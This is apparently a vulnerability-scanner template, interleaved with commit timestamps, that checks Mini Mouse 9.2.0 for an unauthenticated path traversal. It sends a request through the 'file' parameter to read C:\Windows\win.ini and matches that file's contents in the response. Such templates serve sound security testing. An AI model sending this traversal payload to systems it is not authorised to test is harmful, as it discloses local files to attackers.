2021-09-06 08:56:20 +00:00
id : minimouse-lfi
info :
2021-09-06 09:00:23 +00:00
name : Mini Mouse 9.2.0 - Path Traversal
2021-09-06 08:56:20 +00:00
author : 0x_Akoko
severity : high
2021-10-19 10:10:29 +00:00
description : A vulnerability in Mini Mouse allows remote unauthenticated attackers to include and disclose the content of locally stored files via the 'file' parameter.
2021-09-06 08:56:20 +00:00
reference : https://www.exploit-db.com/exploits/49744
tags : minimouse,lfi
requests :
- method : GET
path :
- "{{BaseURL}}/file=C:%5CWindows%5Cwin.ini"
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-09-06 09:14:39 +00:00
2021-09-06 08:56:20 +00:00
- type : word
words :
- "bit app support"
- "fonts"
- "extensions"
condition : and
part : body
